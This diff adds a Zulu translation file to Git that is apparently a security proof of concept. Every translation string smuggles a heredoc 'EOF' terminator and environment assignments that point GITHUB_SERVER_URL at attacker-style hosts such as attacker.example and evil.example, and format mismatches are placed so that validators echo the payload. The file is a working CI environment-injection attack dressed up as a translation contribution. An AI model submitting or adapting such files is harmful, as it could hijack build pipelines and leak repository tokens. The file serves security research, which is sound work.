diff --git a/po/zu.po b/po/zu.po
new file mode 100644
index 00000000000000..d6c01248d7b928
--- /dev/null
+++ b/po/zu.po
@@ -0,0 +1,38 @@
+# Zulu translation for Git (POC for security research)
+# Copyright (C) 2024 Security Research
+# This file is distributed under the same license as the git package.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: Git\n"
+"Report-Msgid-Bugs-To: Git Mailing List <git@vger.kernel.org>\n"
+"POT-Creation-Date: 2024-01-20 00:00+0000\n"
+"PO-Revision-Date: 2024-01-20 00:00+0000\n"
+"Last-Translator: Security Research <security@example.com>\n"
+"Language-Team: Zulu\n"
+"Language: zu\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=(n != 1);\n"
+
+# Using properly escaped newlines - valid .po syntax
+# This should pass parsing but cause validation errors that might echo content
+#, c-format
+msgid "cannot open '%s'"
+msgstr "cannot open '%s' - EOF\nGITHUB_SERVER_URL=https://attacker.example\nCOMMENT_BODY=Injected"
+
+# Format mismatch: msgid has %s, msgstr has %s %d - triggers format validation
+#, c-format
+msgid "pathspec '%s' did not match any files"
+msgstr "pathspec '%s' matched %d EOF\nGITHUB_SERVER_URL=https://evil.example\nCOMMENT_BODY=Pwned"
+
+# Missing format specifier entirely
+#, c-format  
+msgid "Checking out '%s'"
+msgstr "Checking out - no specifier here EOF\nGITHUB_SERVER_URL=https://phish.example"
+
+# Positional argument mismatch
+#, c-format
+msgid "updated %1$d path%2$s"
+msgstr "EOF\nGITHUB_SERVER_URL=https://test.example\nCOMMENT_BODY=Test %2$s"